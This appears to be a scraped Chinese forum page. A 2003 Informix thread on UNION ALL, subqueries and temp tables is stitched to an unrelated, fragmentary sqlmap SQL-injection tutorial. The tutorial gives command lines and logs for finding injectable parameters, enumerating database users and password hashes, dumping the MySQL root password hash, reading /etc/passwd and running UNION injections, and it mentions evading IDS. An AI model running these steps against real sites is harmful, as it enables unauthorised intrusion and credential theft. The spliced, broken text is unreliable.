informix支持union all语句吗?

akinggom 2003-08-18 06:51:53
在informix中有没有类似于oracle中的union all语句呢?
在informix中可以用select语句嵌套吗?
可以的话,怎么用呢?最好能给出一个例子来
如:
select id,sum1,sum2 from
(select id ,sum(size1) sum1 from a where where_sql_a
group by id
order by id) a,
(select id, sum(size2) sum2 from a where where_sql_b
group by id
order by id) b
where a.id=b.id
在informix中,我好象怎么也执行不过去,为什么呢?!

谢谢
可惜我写了几次都没有成功
最后,放弃!
用了session保存temp表,然后在查询咯!
虽然失去了时间和空间上的效率,但是能实现我所需要的功能,还是可以的!
谢谢!

可以的,存储过程的返回处 写上with resume
就可以返回结果集。

那我在程序中要随时建立临时表咯。
也就是说,要在程序中实现这个问题还需要5个语句来实现咯
drop table a;
drop table b;

select id ,sum(size1) sum1 from a where where_sql_a
group by id
order by id
into temp a;

select id, sum(size2) sum2 from a where where_sql_b
group by id
order by id
into temp b ;

select id,sum1,sum2 from a , b
where a.id = b.id ;
这样才能比较好的得到我想要的数据,是吗?!
那如果我写成procedure的话,informix可以返回成一个记录集吗?!

select id ,sum(size1) sum1 from a where where_sql_a
group by id
order by id
into temp a;

select id, sum(size2) sum2 from a where where_sql_b
group by id
order by id
into temp b ;

select id,sum1,sum2 from a , b
where a.id = b.id
Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO]

sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*]

-u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

"SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query:

user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24]

queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner:
